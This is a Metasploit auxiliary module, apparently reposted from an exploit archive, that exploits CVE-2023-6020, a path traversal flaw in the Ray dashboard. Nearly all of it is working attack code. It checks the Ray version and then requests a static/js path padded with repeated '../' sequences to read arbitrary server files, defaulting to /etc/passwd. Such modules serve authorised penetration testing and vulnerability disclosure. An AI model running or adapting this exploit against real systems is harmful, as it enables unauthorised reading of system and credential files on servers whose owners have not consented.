Share
## https://sploitus.com/exploit?id=PACKETSTORM:180669
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ray static arbitrary file read',
'Description' => %q{
Ray before 2.8.1 is vulnerable to a local file inclusion.
},
'Author' => [
'byt3bl33d3r <marcello@protectai.com>', # Python Metasploit module
'danmcinerney <dan@protectai.com>', # Python Metasploit module
'Takahiro Yokoyama' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2023-6020'],
['URL', 'https://huntr.com/bounties/83dd8619-6dc3-4c98-8f1b-e620fedcd1f6/'],
['URL', 'https://github.com/protectai/ai-exploits/tree/main/ray']
],
'DisclosureDate' => '2023-11-15',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ IOC_IN_LOGS, ],
'Reliability' => []
}
)
)
register_options(
[
Opt::RPORT(8265),
OptString.new('FILEPATH', [ true, 'File to read', '/etc/passwd'])
]
)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/version')
})
return Exploit::CheckCode::Unknown unless res && res.code == 200
ray_version = res.get_json_document['ray_version']
return Exploit::CheckCode::Unknown unless ray_version
return Exploit::CheckCode::Safe unless Rex::Version.new(ray_version) <= Rex::Version.new('2.6.3')
file_content = lfi('/etc/passwd')
return Exploit::CheckCode::Vulnerable unless file_content.nil?
Exploit::CheckCode::Appears
end
def lfi(filepath)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "static/js/../../../../../../../../../../../../../..#{filepath}")
})
return unless res && res.code == 200
res.body
end
def run
file_content = lfi(datastore['FILEPATH'])
fail_with(Failure::Unknown, 'Failed to execute LFI') unless file_content
print_good("#{datastore['FILEPATH']}\n#{file_content}")
end
end